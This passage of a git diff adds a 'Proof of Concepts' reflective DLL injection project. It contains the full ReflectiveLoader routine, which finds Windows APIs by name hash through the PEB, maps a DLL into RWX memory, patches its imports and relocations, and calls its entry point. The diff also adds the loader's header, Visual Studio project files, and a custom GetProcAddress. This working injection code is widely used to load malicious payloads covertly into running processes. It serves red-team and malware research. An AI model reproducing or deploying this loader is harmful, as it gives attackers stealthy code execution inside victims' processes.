(VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveLoader.h b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveLoader.h new file mode 100644 index 00000000..700c3358 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/dll/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.sln b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.sln new file mode 100644 index 00000000..6592be3d --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.vcxproj b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.vcxproj new file mode 100644 index 00000000..742415de --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.vcxproj @@ -0,0 +1,190 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + + + + Application + MultiByte + true + + + Application + Unicode + + + Application + MultiByte + true + + + Application + Unicode + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + AllRules.ruleset + + + AllRules.ruleset + + + AllRules.ruleset + + + AllRules.ruleset + + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Console + MachineX86 + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + ProgramDatabase + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + + + true + Console + true + true + MachineX86 + + + copy ..\Release\inject.exe ..\bin\ + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + copy ..\x64\Release\inject.x64.exe ..\bin\ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.vcxproj.filters b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.vcxproj.filters new file mode 100644 index 00000000..418896d0 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/inject.vcxproj.filters @@ -0,0 +1,35 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/GetProcAddressR.c b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/GetProcAddressR.c new file mode 100644 index 00000000..144ab6e3 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/GetProcAddressR.c @@ -0,0 +1,116 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "GetProcAddressR.h" +//===============================================================================================// +// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which +// wont be able to resolve exported addresses in reflectivly loaded librarys. +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) +{ + UINT_PTR uiLibraryAddress = 0; + FARPROC fpResult = NULL; + + if( hModule == NULL ) + return NULL; + + // a module handle is really its base address + uiLibraryAddress = (UINT_PTR)hModule; + + __try + { + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiNameOrdinals = 0; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + + // get the VA of the modules NT Header + pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); + + // get the VA for the array of name pointers + uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); + + // test if we are importing by name or by ordinal... + if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 ) + { + // import by ordinal... + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); + + // resolve the address for this imported function + fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // import by name... + DWORD dwCounter = pExportDirectory->NumberOfNames; + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); + + // test if we have a match... + if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) + { + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // calculate the virtual address for the function + fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); + + // finish... + break; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + fpResult = NULL; + } + + return fpResult; +} +//===============================================================================================// \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/GetProcAddressR.h b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/GetProcAddressR.h new 